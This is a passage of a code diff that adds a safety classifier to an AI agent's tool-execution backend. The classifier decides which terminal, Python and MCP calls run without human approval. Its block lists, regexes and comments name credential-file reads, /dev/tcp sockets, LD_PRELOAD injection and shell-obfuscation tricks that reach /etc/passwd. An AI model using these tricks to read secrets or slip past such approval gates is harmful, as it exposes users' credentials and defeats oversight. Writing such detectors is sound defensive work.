+                # tears down at once, not after a full heartbeat interval.
+                if cancel_event is not None and cancel_event.is_set():
+                    yield {"type": "heartbeat"}
+                    continue
+                idle_polls += 1
+                if idle_polls >= idle_polls_per_heartbeat:
+                    idle_polls = 0
+                    yield {"type": "heartbeat"}
+                continue
+
+            if item is done_sentinel:
+                break
+
+            if stream_capped:
+                # Past the cap: drop this chunk and every queued sibling (see
+                # _drain_and_drop). Pace with one time.sleep per poll (not
+                # time.monotonic -- tests patch the clock), counted as an idle
+                # poll so heartbeats keep flowing while the queue stays non-empty.
+                _drain_and_drop()
+                if finished:
+                    break
+                time.sleep(poll_interval_s)
+                idle_polls += 1
+                if idle_polls >= idle_polls_per_heartbeat:
+                    idle_polls = 0
+                    yield {"type": "heartbeat"}
+                continue
+
+            # Bound the join to the remaining budget so the crossing batch can't
+            # allocate far past the cap (surplus is truncated below anyway); the
+            # prefix is long enough that truncation stays byte-identical.
+            budget = TOOL_OUTPUT_STREAM_MAX_CHARS - streamed_chars
+            chunk = item + _drain_pending(max_chars = budget - len(item))
+            idle_polls = 0
+            if streamed_chars + len(chunk) > TOOL_OUTPUT_STREAM_MAX_CHARS:
+                chunk = chunk[: max(0, TOOL_OUTPUT_STREAM_MAX_CHARS - streamed_chars)]
+                chunk += _STREAM_CAPPED_NOTICE
+                stream_capped = True
+            streamed_chars += len(chunk)
+            if chunk:
+                yield {
+                    "type": "tool_output",
+                    "tool_name": tool_name,
+                    "tool_call_id": tool_call_id,
+                    "text": chunk,
+                }
+    except BaseException:
+        # The loop only raises when the consumer closes us early: an SSE
+        # disconnect calls gen.close() (GeneratorExit at the yield) or the route
+        # throws in. Signal cancellation so a cancel-observing tool returns; the
+        # daemon worker is then abandoned (see finally). Re-raise so the caller
+        # sees the real cause (GeneratorExit must not be swallowed). Runs ONLY on
+        # abnormal exit, so the shared cancel_event is never set out from under
+        # the next tool in a clean multi-tool turn.
+        abnormal_exit = True
+        if cancel_event is not None:
+            try:
+                cancel_event.set()
+            except Exception:
+                pass
+        raise
+    finally:
+        # Clean finish: the worker already recorded its result and queued the
+        # sentinel we consumed, so this join returns at once. Abnormal exit:
+        # cancel_event is set and the daemon worker abandoned, so join with a zero
+        # timeout -- teardown never blocks the caller (the route may close this
+        # generator on the event loop), and the daemon cannot outlive the process.
+        worker.join(timeout = 0 if abnormal_exit else _WORKER_JOIN_TIMEOUT_S)
+
+    error = outcome.get("error")
+    if error is not None:
+        raise error
+    # Returned verbatim (the loop's record_result handles non-str), so the
+    # final tool result is byte-identical to a direct execute_tool call.
+    return outcome.get("result")
diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py
index 82c50933fc..bc9ffe85c2 100644
--- a/studio/backend/core/inference/tools.py
+++ b/studio/backend/core/inference/tools.py
@@ -5,6 +5,8 @@
 (DuckDuckGo), Python code execution, and terminal commands."""
 
 import ast
+import codecs
+import fnmatch
 import http.client
 import os
 import signal
@@ -12,6 +14,7 @@ import signal
 os.environ["UNSLOTH_IS_PRESENT"] = "1"
 
 import asyncio
+import queue
 import random
 import re
 import shlex
@@ -20,6 +23,8 @@ import subprocess
 import sys
 import tempfile
 import threading
+import time
+import urllib.parse
 import urllib.request
 
 from core.inference.mcp_client import (
@@ -71,7 +76,21 @@ if sys.platform != "win32":
 # Raster-image allowlist for sandbox file serving.
 # No .svg (XSS via embedded scripts), no .html, no .pdf.
 _IMAGE_EXTS = frozenset({".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp"})
-_MAX_OUTPUT_CHARS = 8000  # truncate long output
+
+
+def _env_int(name: str, default: int) -> int:
+    """Read an int env override; fall back to ``default`` on unset/garbage."""
+    try:
+        value = int(os.environ.get(name, "") or default)
+    except (TypeError, ValueError):
+        return default
+    return value if value > 0 else default
+
+
+# Model-visible cap on python/terminal tool results (protects the context
+# window). The live UI stream is capped separately and higher, so _truncate's
+# notice stays mode-neutral (see tool_stream_exec.TOOL_OUTPUT_STREAM_MAX_CHARS).
+_MAX_OUTPUT_CHARS = _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000)
 _BLOCKED_COMMANDS_COMMON = frozenset(
     {
         "rm",
@@ -150,6 +169,42 @@ _COMMAND_PREFIXES = frozenset(
     }
 )
 _ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")
+# Env-assignment prefixes that change command lookup or code loading, so
+# `LD_PRELOAD=x ls` / `PATH=. ls` run attacker code before the read-only
+# utility. LD_*/DYLD_* and any *PATH are covered by the prefix/suffix check.
+_AUTO_UNSAFE_ENV_ASSIGN = frozenset(
+    {
+        "IFS",
+        "BASH_ENV",
+        "ENV",
+        "SHELLOPTS",
+        "BASHOPTS",
+        "GLOBIGNORE",
+        "PROMPT_COMMAND",
+        "PS4",
+        "PYTHONSTARTUP",
+        "PYTHONHOME",
+        "NODE_OPTIONS",
+        "PERL5OPT",
+        "PERL5LIB",
+        "RUBYOPT",
+        "RUBYLIB",
+        # LESSOPEN/LESSCLOSE run an input preprocessor command for less.
+        "LESSOPEN",
+        "LESSCLOSE",
+    }
+)
+
+
+def _env_assignment_is_unsafe(name: str) -> bool:
+    """True if a NAME=value prefix affects command lookup/loading."""
+    return (
+        name in _AUTO_UNSAFE_ENV_ASSIGN
+        or name.startswith(("LD_", "DYLD_"))
+        or name.endswith("PATH")
+    )
+
+
 _FIND_EXEC_FLAGS = frozenset({"-exec", "-execdir", "-ok", "-okdir"})
 
 
@@ -166,8 +221,7 @@ def _find_blocked_commands(command: str) -> set[str]:
     blocked: set[str] = set()
 
     # punctuation_chars splits separators into their own tokens, so command
-    # position is detected even in `echo done; rm -rf x` (no whitespace) or
-    # quote-split names (`r''m` collapses to `rm` after `;`).
+    # position is detected even in `echo done; rm -rf x` (no whitespace).
     try:
         if sys.platform == "win32":
             tokens = shlex.split(command, posix = False)
@@ -271,16 +325,2184 @@ def _find_blocked_commands(command: str) -> set[str]:
     return blocked
 
 
+# Directory holding the sandbox ``sitecustomize.py`` shim (code-interpreter
+# path remap); placed on the sandboxed child's PYTHONPATH in _build_safe_env.
+_SANDBOX_SITE_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox_site")
+# ── "Approve for me" (permission_mode="auto") safety detection ──────────────
+# Auto mode pauses only calls classified here as potentially unsafe. The sandbox
+# and hard blocks (blocklist, rlimits) still apply at run time; this gate only
+# decides prompting, and fails closed: anything not provably read-only asks.
+
+# Read-only commands allowed to run without confirmation in auto mode.
+_AUTO_SAFE_TERMINAL_COMMANDS = frozenset(
+    {
+        "ls",
+        "dir",
+        "pwd",
+        # cd absent: `cd /; cat etc/passwd` escapes the workdir for a later
+        # relative read the path scan cannot see, so cd always asks.
+        "cat",
+        "head",
+        "tail",
+        # less/more absent: their pager escapes (+cmd, !shell, -o, LESSOPEN) can
+        # run a command or write a file, so they always ask.
+        "grep",
+        "egrep",
+        "fgrep",
+        "rg",
+        "find",
+        "fd",
+        "wc",
+        "sort",
+        "uniq",
+        "cut",
+        "tr",
+        "diff",
+        "cmp",
+        "file",
+        "stat",
+        "du",
+        "df",
+        # ps absent: BSD env flags (ps auxe, ps eww) dump a parent's unscrubbed
+        # env and can't be flag-parsed reliably, so ps always asks.
+        "date",
+        "cal",
+        "whoami",
+        "id",
+        "uname",
+        "hostname",
+        "uptime",
+        "which",
+        "whereis",
+        "type",
+        "basename",
+        "dirname",
+        "realpath",
+        "readlink",
+        "md5",
+        "md5sum",
+        "shasum",
+        "sha1sum",
+        "sha256sum",
+        "cksum",
+        "tree",
+        "printenv",
+        "echo",
+        "printf",
+        "true",
+        "false",
+        "test",
+        "[",
+        "seq",
+        "nl",
+        "od",
+        "xxd",
+        "hexdump",
+        "strings",
+        "column",
+        "paste",
+        "join",
+        "comm",
+        "expand",
+        "unexpand",
+        "fold",
+        "fmt",
+        "rev",
+        "tac",
+        "locale",
+        "arch",
+        "nproc",
+        "sw_vers",
+        "jq",
+    }
+)
+# Flags that turn an otherwise read-only command into a writer or executor
+# (sort -o FILE, tree -o FILE, xxd -r IN OUT, find -exec/-delete/...).
+_AUTO_UNSAFE_COMMAND_FLAGS = {
+    # --files0-from=F makes sort read the NUL-separated list of input files
+    # named in F, so a crafted list reads arbitrary host files indirectly.
+    "sort": frozenset(
+        {"-o", "--output", "--compress-program", "-T", "--temporary-directory", "--files0-from"}
+    ),
+    "tree": frozenset({"-o"}),
+    "xxd": frozenset({"-r"}),
+    # -c/--check makes a checksum tool read a manifest file and then read every
+    # path it names, so a manifest listing /etc/passwd turns `sha256sum -c list`
+    # into an indirect host-file read; the digest form (sha256sum file) only reads
+    # the named files.
+    "md5sum": frozenset({"-c", "--check"}),
+    "sha1sum": frozenset({"-c", "--check"}),
+    "sha256sum": frozenset({"-c", "--check"}),
+    "shasum": frozenset({"-c", "--check"}),
+    "cksum": frozenset({"-c", "--check"}),
+    # GNU time -o/--output/-a/--append FILE writes timing output; time is a
+    # wrapper, so the flag is checked before the wrapped command like env -C.
+    "time": frozenset({"-o", "--output", "-a", "--append"}),
+    # rg runs an arbitrary program per file with --pre/--hostname-bin.
+    "rg": frozenset({"--pre", "--hostname-bin"}),
+    # env -C/--chdir escapes the workdir; -S/--split-string builds a command.
+    "env": frozenset({"-C", "--chdir", "-S", "--split-string"}),
+    # ionice -p/-P/-u change the I/O priority of an already running process /
+    # group / user instead of forwarding to a wrapped read-only command, so a
+    # bare `ionice -c 3 -p <pid>` mutates another process. ionice stays a safe
+    # wrapper for `ionice -c 3 <cmd>`; only the process-target flags ask.
+    "ionice": frozenset({"-p", "-P", "-u"}),
+    # printf -v NAME assigns to a shell var, so `printf -v PATH %s .; ls` runs
+    # ./ls from the workdir.
+    "printf": frozenset({"-v"}),
+    # wc/du/find --files0-from=F read the NUL-separated list of input paths named
+    # in F, so a crafted list reads arbitrary host files past the literal path /
+    # root checks, like sort --files0-from. find spells it -files0-from (a primary).
+    "wc": frozenset({"--files0-from"}),
+    "du": frozenset({"--files0-from"}),
+    "find": frozenset(
+        {
+            "-exec",
+            "-execdir",
+            "-ok",
+            "-okdir",
+            "-delete",
+            "-fprint",
+            "-fprint0",
+            "-fprintf",
+            "-fls",
+            "-files0-from",
+        }
+    ),
+    # fd -x/--exec/-X/--exec-batch run a command per result;
+    # --base-directory/--search-path move the search root outside the workdir.
+    "fd": frozenset({"-x", "--exec", "-X", "--exec-batch", "--base-directory", "--search-path"}),
+    # date -s/--set writes the clock; display forms (+FORMAT, -d/-u/-R/-r) read.
+    "date": frozenset({"-s", "--set"}),
+    # file -C/--compile writes a compiled .mgc magic database; ident forms read.
+    "file": frozenset({"-C", "--compile"}),
+    # hostname -F/--file, -b/--boot set the hostname; display flags only read.
+    "hostname": frozenset({"-F", "--file", "-b", "--boot"}),
+}
+# Commands safe only without a mutating positional: `hostname NAME` sets the
+# hostname, `date MMDDhhmm...` sets the clock (a +FORMAT token or a display
+# flag's value stays read-only), so any other positional asks.
+_AUTO_ARG_SENSITIVE_COMMANDS = frozenset({"hostname", "date"})
+# date display flags taking a value token (-d STRING, -r FILE, -f FILE); the
+# value is not a clock-setting positional, so it is skipped.
+_DATE_DISPLAY_VALUE_FLAGS = frozenset({"-d", "--date", "-r", "--reference", "-f", "--file"})
+# Commands that write their 2nd positional (uniq [INPUT [OUTPUT]], xxd [infile
+# [outfile]]): the 1st file reads to stdout, but a second file positional
+# overwrites it, like `sort -o`.
+_AUTO_SECOND_POSITIONAL_WRITES = frozenset({"uniq", "xxd"})
+# Value-taking option flags for those commands whose argument is a separate token
+# (uniq -f 2, xxd -c 16). The value must be consumed so a numeric option value is
+# not miscounted as the output-file positional, and, conversely, a file that is
+# literally named with digits (uniq 123 out) is still counted.
+_SECOND_POSITIONAL_VALUE_FLAGS = {
+    "uniq": frozenset({"-f", "--skip-fields", "-s", "--skip-chars", "-w", "--check-chars"}),
+    "xxd": frozenset(
+        {"-c", "--cols", "-s", "--seek", "-l", "--len", "-g", "--groupsize", "-o", "--offset"}
+    ),
+}
+# find/fd group with (...) which resets command context, so scan every token for
+# these once find/fd appears anywhere.
+_AUTO_UNSAFE_FIND_LIKE_FLAGS = _AUTO_UNSAFE_COMMAND_FLAGS["find"] | _AUTO_UNSAFE_COMMAND_FLAGS["fd"]
+# Recursive readers with an absolute-path target escape the workdir onto host
+# files (grep -R TOKEN /home, rg TOKEN /), so they ask.
+_AUTO_RECURSIVE_SEARCH = frozenset({"grep", "egrep", "fgrep", "rg", "ug", "find", "fd"})
+# Directory walkers that always recurse (tree /home, du /) read the whole host
+# subtree under an absolute/tilde root, like a recursive search. ls only recurses
+# with -R/--recursive, so it is gated separately when that flag is present.
+_AUTO_RECURSIVE_LISTERS = frozenset({"tree", "du"})
+# Benign wrappers: safe AND forward command position to their target (checked in
+# turn). sudo/su/chroot/etc. are absent, so they classify as unsafe. xargs is
+# absent too: it appends arguments read from stdin that this scan never sees, so
+# `echo -o out /etc/passwd | xargs sort` forwards to `sort -o out /etc/passwd`
+# (a write + sensitive read) while only the allow-listed literals are visible.
+_AUTO_SAFE_WRAPPERS = frozenset(
+    {"env", "command", "time", "timeout", "nice", "ionice", "stdbuf", "nohup"}
+)
+
+# MCP tools whose names look read-only auto-run; anything else asks.
+_AUTO_SAFE_MCP_TOOL_RE = re.compile(
+    r"^(get|list|search|read|fetch|query|find|describe|show|view|lookup|"
+    r"retrieve|count|status|info|help|check)(?:[_\-].*)?$",
+    re.IGNORECASE,
+)
+# A mutating verb anywhere in the name overrides a read-only prefix, so a
+# compound name like get_or_create_issue or read_and_delete_file still asks.
+_AUTO_UNSAFE_MCP_VERB_RE = re.compile(
+    r"(?:^|[_\-])(?:create|update|delete|remove|write|set|add|send|post|put|"
+    r"patch|insert|drop|kill|exec|execute|run|deploy|publish|move|rename|edit|"
+    r"modify|upload|replace|revoke|grant|approve|merge|close|cancel|pay|"
+    r"transfer|buy|sell|reset|clear|purge|destroy|terminate|revert|rollback|"
+    r"trigger|enable|disable|install|uninstall|restart|stop|start|"
+    r"save|archive|submit|commit|push|sync|register|"
+    r"clone|checkout|comment|fork|tag|invite|share|append|prepend|"
+    r"copy|duplicate|import|export|download|backup|restore|snapshot|mirror|"
+    r"upsert|assign|mark|subscribe|unsubscribe|reply|notify)(?:[_\-]|$)",
+    re.IGNORECASE,
+)
+# A read-named MCP tool that returns a secret is still a sensitive read, so a
+# credential noun anywhere in the name (read_secret, list_tokens,
+# get_credentials, fetch_api_key) asks even without a mutating verb or a path/SQL
+# argument. Scoped nouns (api/access/private/... _key) avoid flagging benign
+# keys like a primary_key or keyboard lookup.
+_AUTO_SENSITIVE_MCP_NOUN_RE = re.compile(
+    r"(?:^|[_\-])(?:"
+    r"secret|token|credential|password|passwd|passphrase|apikey|"
+    r"(?:api|access|private|secret|signing|encryption|auth|session)[_\-]?keys?"
+    r")s?(?:[_\-]|$)",
+    re.IGNORECASE,
+)
+
+# Python: modules whose import alone signals side effects auto mode should ask
+# about (process spawning, network, bulk file ops, low-level memory).
+_AUTO_UNSAFE_PY_MODULES = frozenset(
+    {
+        "subprocess",
+        "shutil",
+        "socket",
+        "ctypes",
+        "multiprocessing",
+        "pty",
+        "fcntl",
+        "requests",
+        "urllib",
+        "urllib3",
+        "http",
+        "httpx",
+        "aiohttp",
+        # huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
+        # files over the network and write them to an on-disk cache.
+        "huggingface_hub",
+        # websockets opens a network connection; socketserver binds a listener.
+        "websockets",
+        "socketserver",
+        "ftplib",
+        "smtplib",
+        "telnetlib",
+        "paramiko",
+        # mail/news/rpc/browser stdlib clients open outbound connections
+        # (imaplib, poplib, xmlrpc.client, webbrowser.open).
+        "imaplib",
+        "poplib",
+        "nntplib",
+        "xmlrpc",
+        "webbrowser",
+        "tempfile",
+        # deserialization that can execute arbitrary code on load.
+        "pickle",
+        "marshal",
+        "shelve",
+        "dill",
+        # dbm.open(file, "c"/"n") creates files; treat the family as writers.
+        "dbm",
+        # sqlite3.connect(path) creates/mutates a database file (and runs DDL/DML
+        # without an open()/writer attribute), like dbm.
+        "sqlite3",
+        # runpy runs a script/module as code.
+        "runpy",
+        # ensurepip.bootstrap installs pip and venv.create builds an environment;
+        # both write to disk and can fetch/install packages.
+        "ensurepip",
+        "venv",
+    }
+)
+# Attribute calls that mutate the filesystem / spawn processes (os.remove,
+# Path.write_text, sock.connect, ...) regardless of how the module was bound.
+_AUTO_UNSAFE_PY_ATTRS = frozenset(
+    {
+        "remove",
+        "unlink",
+        "rmdir",
+        "removedirs",
+        "rename",
+        "renames",
+        "replace",
+        "rmtree",
+        "move",
+        "copy",
+        "copy2",
+        "copyfile",
+        "copytree",
+        "chmod",
+        "chown",
+        "system",
+        "popen",
+        "execv",
+        "execve",
+        "execl",
+        "execlp",
+        "execvp",
+        "spawnl",
+        "spawnv",
+        # os.startfile launches a program via its Windows association.
+        "startfile",
+        "fork",
+        "kill",
+        "killpg",
+        "symlink",
+        "link",
+        "mkdir",
+        "makedirs",
+        "truncate",
+        "touch",
+        "write_text",
+        "write_bytes",
+        "urlopen",
+        "urlretrieve",
+        "connect",
+        "bind",
+        "sendall",
+        # pathlib link creators, os node/metadata mutators, dynamic import.
+        "symlink_to",
+        "hardlink_to",
+        "link_to",
+        "mkfifo",
+        "mknod",
+        "utime",
+        # os.setxattr / os.removexattr mutate extended attributes, like chmod.
+        "setxattr",
+        "removexattr",
+        "import_module",
+        # loader.exec_module runs a module's code like import_module; archive
+        # extractall/extract write arbitrary files (zip-slip): extract takes a
+        # single member but an attacker-controlled member path still escapes.
+        "exec_module",
+        "extractall",
+        "extract",
+        "FileIO",
+        # asyncio subprocess spawners run a program past the terminal blocklist.
+        "create_subprocess_exec",
+        "create_subprocess_shell",
+        "subprocess_exec",
+        "subprocess_shell",
+        # asyncio outbound connections / listeners (open_connection,
+        # create_connection/server and unix variants), like socket.connect.
+        "open_connection",
+        "create_connection",
+        "create_server",
+        "create_unix_connection",
+        "create_unix_server",
+        # more asyncio listen/connect + UDP/raw socket helpers.
+        "start_server",
+        "start_unix_server",
+        "open_unix_connection",
+        "create_datagram_endpoint",
+        "sock_connect",
+        # os.chdir escapes the workdir; runpy helpers run arbitrary code.
+        "chdir",
+        "fchdir",
+        "run_path",
+        "run_module",
+        # types.FunctionType wraps a compiled code object into a callable, a
+        # dynamic-execution vector; pandas read_pickle deserializes (runs code).
+        "FunctionType",
+        "read_pickle",
+    }
+)
+# Pickle-backed loaders that can execute code embedded in the file; gated by
+# receiver module (torch.load, joblib.load) since bare `load` is too common.
+_AUTO_UNSAFE_PY_LOAD_MODULES = frozenset({"torch", "joblib", "cloudpickle"})
+# Writer methods that persist to disk without going through open() (numpy.save,
+# Image.save, plt.savefig, DataFrame.to_csv, json.dump). Gated as method calls
+# only, so a bare attribute reference is not mistaken for a write.
+_AUTO_UNSAFE_PY_WRITE_METHODS = frozenset(
+    {
+        "save",
+        "savefig",
+        "savez",
+        "savez_compressed",
+        "savetxt",
+        "tofile",
+        "dump",
+        "to_csv",
+        "to_parquet",
+        "to_pickle",
+        "to_json",
+        "to_feather",
+        "to_hdf",
+        "to_excel",
+        "to_stata",
+        "to_sql",
+        "to_xml",
+        # pandas text exporters that write when given a path/buffer (to_html /
+        # to_markdown / to_latex mirror to_csv); to_clipboard / to_gbq persist
+        # off-process. to_string is omitted: it is overwhelmingly display-only.
+        "to_html",
+        "to_markdown",
+        "to_latex",
+        "to_clipboard",
+        "to_gbq",
+        "imwrite",
+        "imsave",
+        "write_image",
+        "write_html",
+        # ML persistence helpers (transformers/peft/safetensors/keras) that
+        # export adapters or weights to disk without an open()/writer attribute.
+        "save_pretrained",
+        "save_file",
+        "save_model",
+        "save_weights",
+        "save_lora",
+        "save_checkpoint",
+        # logging file handlers open a log file for write on construction (even
+        # default mode "a" creates); matched as attribute call and bare import.
+        "FileHandler",
+        "WatchedFileHandler",
+        "RotatingFileHandler",
+        "TimedRotatingFileHandler",
+        # numpy.memmap(..., mode="w+") and pandas writers create/truncate a file
+        # on construction, like open(..., "w").
+        "memmap",
+        "open_memmap",
+        "ExcelWriter",
+        "HDFStore",
+        # pydoc.writedoc(name) writes name.html to the workdir.
+        "writedoc",
+    }
+)
+# Archive / compressed-file constructors taking the mode as their 2nd arg like
+# open: ZipFile(name, "w") / gzip.GzipFile(name, "w") write, so gated only in
+# write mode (reading a .gz is fine, so the modules are not blanket-unsafe).
+_ARCHIVE_CTOR_NAMES = frozenset({"ZipFile", "TarFile", "GzipFile", "BZ2File", "LZMAFile"})
+# The stdlib module each archive constructor is imported from.
+_ARCHIVE_CTOR_MODULES = {
+    "zipfile": "ZipFile",
+    "tarfile": "TarFile",
+    "gzip": "GzipFile",
+    "bz2": "BZ2File",
+    "lzma": "LZMAFile",
+}
+# Modules whose top-level open() takes the mode as its 2nd arg like builtin open,
+# so `from gzip import open as gopen` binds an open alias gated on write mode.
+_OPEN_ALIAS_MODULES = frozenset({"gzip", "bz2", "lzma"})
+# Builtins/itertools helpers that call their first argument once per item, so a
+# writer/open alias handed to one runs without a direct call(...) site
+# (list(map(open, names, modes)), starmap(np.save, ...)). filter's predicate is
+# also invoked, so a writer smuggled there runs too.
+_HIGHER_ORDER_INVOKERS = frozenset({"map", "filter", "starmap", "reduce"})
+_PY_WRITE_MODE_RE = re.compile(r"[wax+]")
+# A file-mode literal ("w", "rb", "a+"): letters/flags only, no path chars.
+# Used to tell a Path.open("w") mode from a ZipFile.open("name.txt") filename.
+_PY_MODE_LITERAL_RE = re.compile(r"^[rwxa][btru+]*$")
+
+# Reading these off the host escapes the intent of "read-only is safe": they
+# hold credentials. Path traversal (../) escapes the per-session workdir.
+_SENSITIVE_PATH_RE = re.compile(
+    r"(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube|config/gcloud|config/gh)(?:[/\\]|$)"
+    r"|\.(?:netrc|npmrc|pypirc|git-credentials|env)(?:$|[/\\.\s'\"])"
+    r"|id_rsa|id_ed25519|id_ecdsa|id_dsa"
+    # Hugging Face stores the login token at ~/.cache/huggingface/token and the
+    # legacy ~/.huggingface/token (plus the multi-token store stored_tokens); the
+    # rest of that cache is model data, so only the credential files match. The
+    # optional leading dot covers the .huggingface dotdir form.
+    r"|(?:^|[/\\])\.?huggingface[/\\](?:token|stored_tokens)(?:$|[/\\.\s'\"])"
+    # /etc/ssh holds the host private keys (ssh_host_*_key); the whole dir is
+    # sensitive, not just passwd/shadow/sudoers.
+    r"|credentials|/etc/(?:passwd|shadow|sudoers|ssh(?:[/\\]|$))"
+    # Bash opens /dev/tcp/host/port and /dev/udp/host/port as network sockets,
+    # so a redirection to one reaches the network without the confirm prompt.
+    r"|/dev/(?:tcp|udp)/"
+    # Docker/Kubernetes secret mounts hold injected credentials.
+    r"|/(?:var/)?run/secrets(?:[/\\]|$)"
+    # procfs leaks a (possibly parent) process env/args/memory to a read,
+    # including the per-thread aliases under /proc/<pid>/task/<tid>/. The fd/
+    # dir holds symlinks to a process's open files (a held credential/db file).
+    r"|/proc/[^/\s'\"]+/(?:task/[^/\s'\"]+/)?(?:environ|cmdline|mem|maps|fd)\b"
+    # A .pem/.key file (basename before the extension), not a bare ".key"
+    # (e.g. a jq '.key' filter).
+    r"|\w[\w.-]*\.(?:pem|key)(?:$|[\s'\"])",
+    re.IGNORECASE,
+)
+# A shell redirection with no following space (cat <../../notes) keeps `..`
+# adjacent to `<`/`>`, so those count as leading delimiters here too.
+_PARENT_TRAVERSAL_RE = re.compile(r"(?:^|[\s/\\'\"=:<>])\.\.(?:[/\\]|$|[\s'\"])")
+# A sensitive directory: a dynamic segment under it (open(f"/etc/{name}")) is
+# not provably safe, so fail closed when a folded path has a dynamic piece here.
+_SENSITIVE_DIR_RE = re.compile(
+    r"/etc/|/(?:var/)?run/secrets[/\\]|(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube)[/\\]"
+    r"|(?:^|[/\\])\.config/(?:gcloud|gh)[/\\]",
+    re.IGNORECASE,
+)
+# Collapse /./ and repeated slashes so /etc/./passwd and /etc//passwd, which
+# the OS resolves to /etc/passwd, still match the sensitive-path regex.
+_REDUNDANT_SLASH_RE = re.compile(r"/\.?(?=/)")
+# $name, ${name}, and operator/substring forms (${name:-x}, ${name:0:6}) all
+# reference `name`; substituting the assigned value catches paths hidden behind
+# a substring expansion (p=passwd; cat /etc/${p:0:6}).
+_SHELL_VAR_RE = re.compile(r"\$\{(\w+)(?::[^{}]*)?\}|\$(\w+)")
+# Pattern replacement (${p/X/w}, global ${p//X/w}) transforms the value before
+# the path is used; apply it so p=passXd; cat /etc/${p/X/w} is scanned.
+_SHELL_PARAM_REPL_RE = re.compile(r"\$\{(\w+)/(/)?([^/{}]*)/([^{}]*)\}")
+# Case modification (${p^^} upper, ${p,,} lower, ${p^}/${p,} first char) also
+# transforms the value, so p=PASSWD; cat /etc/${p,,} builds /etc/passwd.
+_SHELL_PARAM_CASE_RE = re.compile(r"\$\{(\w+)(\^\^|,,|\^|,)\}")
+# Indirect expansion ${!p} yields the value of the variable *named* by $p, so
+# x=passwd; p=x; cat /etc/${!p} builds /etc/passwd.
+_SHELL_PARAM_INDIRECT_RE = re.compile(r"\$\{!(\w+)\}")
+_SHELL_ASSIGN_RE = re.compile(r"(?:^|[\s;&|(])([A-Za-z_]\w*)=([^\s;&|)]+)")
+# Bash ANSI-C quoting ($'\x77' -> 'w') is expanded after this classifier, so
+# decode $'...' bodies before the sensitive-path scan.
+_ANSI_C_RE = re.compile(r"\$'((?:[^'\\]|\\.)*)'")
+# Shell quotes only delimit; bash concatenates the pieces (cat /proc/x/enviro''n
+# reads .../environ), so strip them before the sensitive-path scan.
+_SHELL_QUOTE_RE = re.compile(r"['\"]")
+# A glob bracket class [s] -> s, so .s[s]h de-obfuscates to .ssh for the scan.
+_GLOB_BRACKET_RE = re.compile(r"\[([^!\]][^\]]*)\]")
+# Bash POSIX character classes ([[:lower:]]) each match one char; Python fnmatch
+# does not understand them, so normalize to `?` before the glob check.
+_POSIX_CLASS_RE = re.compile(r"\[\[:\w+:\]\]")
+# Canonical sensitive files a ? / * / [..] glob could expand to; fnmatch tests
+# whether the pattern reaches one (cat /e??/passwd -> /etc/passwd).
+_SENSITIVE_GLOB_TARGETS = (
+    "/etc/passwd",
+    "/etc/shadow",
+    "/etc/sudoers",
+    "/root/.ssh/id_rsa",
+    "/root/.aws/credentials",
+    "/home/u/.ssh/id_rsa",
+    "/home/u/.ssh/id_ed25519",
+    "/home/u/.aws/credentials",
+    "/home/u/.netrc",
+    "/home/u/.git-credentials",
+)
+# Directories whose every file is a credential/secret; a glob resolving into one
+# (cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa) reads a secret even though
+# the exact filename is never enumerated, so a globbed token here asks.
+_SENSITIVE_GLOB_DIRS = (
+    "/run/secrets",
+    "/var/run/secrets",
+    "/root/.ssh",
+    "/root/.aws",
+    "/root/.azure",
+    "/root/.gnupg",
+    "/root/.docker",
+    "/root/.kube",
+    "/root/.config/gcloud",
+    "/root/.config/gh",
+    "/home/u/.ssh",
+    "/home/u/.aws",
+    "/home/u/.azure",
+    "/home/u/.gnupg",
+    "/home/u/.docker",
+    "/home/u/.kube",
+    "/home/u/.config/gcloud",
+    "/home/u/.config/gh",
+)
+# Credential basenames a glob can reach even when the directory is not wholly
+# sensitive (cat ~/.huggingface/tok?n -> token, cat ~/.netr? -> .netrc); the
+# canonical-target list only covers a few fixed home paths, so match the globbed
+# basename against these directly.
+_SENSITIVE_GLOB_BASENAMES = frozenset(
+    {
+        "token",
+        "stored_tokens",
+        "credentials",
+        ".netrc",
+        "netrc",
+        ".pypirc",
+        ".npmrc",
+        ".git-credentials",
+        "id_rsa",
+        "id_ed25519",
+        "id_ecdsa",
+        "id_dsa",
+        "passwd",
+        "shadow",
+        # A project .env holds secrets; the literal path is gated elsewhere, so a
+        # glob that expands to it (cat .e?v) must be too.
+        ".env",
+    }
+)
+# A leading shell redirection (<, >, 2>, >>) hides the path from a plain glob
+# scan (cat </e??/passwd); strip it before matching.
+_REDIR_PREFIX_RE = re.compile(r"^\d*[<>]+")
+# Bash brace expansion (cat /etc/pass{w,}d -> /etc/passwd /etc/passd, and the
+# sequence form cat /etc/pass{w..w}d -> /etc/passwd) runs after this classifier;
+# expand comma groups and .. sequences to scan each result.
+_BRACE_COMMA_RE = re.compile(r"^\{([^{}]*,[^{}]*)\}$")
+_BRACE_SEQ_RE = re.compile(r"^\{([^{}]+)\.\.([^{}]+)(?:\.\.(-?\d+))?\}$")
+_BRACE_ANY_RE = re.compile(r"\{[^{}]*,[^{}]*\}|\{[^{}]+\.\.[^{}]+(?:\.\.-?\d+)?\}")
+# Parameter expansion with a default/alternate operator (${x:-passwd},
+# ${x:+passwd}, ${x=passwd}) can synthesize a path after approval; the operand
+# is substituted so the resulting path is scanned.
+_SHELL_PARAM_OP_RE = re.compile(r"\$\{[A-Za-z_]\w*:?[-=+]([^{}]*)\}")
+
+
+def _references_sensitive_path(text: str) -> bool:
+    """True if a command or string literal reads a credential path or escapes
+    the sandbox workdir via parent traversal."""
+    norm = _REDUNDANT_SLASH_RE.sub("", text)
+    debracket = _GLOB_BRACKET_RE.sub(lambda m: m.group(1)[0], text)
+    return bool(
+        _PARENT_TRAVERSAL_RE.search(text)
+        or _SENSITIVE_PATH_RE.search(text)
+        or _SENSITIVE_PATH_RE.search(norm)
+        or _SENSITIVE_PATH_RE.search(debracket)
+    )
+
+
+def _pattern_matches_dir(pattern: str, target: str) -> bool:
+    """Segment-wise fnmatch so a glob segment does not cross a '/' boundary
+    (`/home/*` must not match `/home/u/.ssh`)."""
+    p = pattern.split("/")
+    t = target.split("/")
+    if len(p) != len(t):
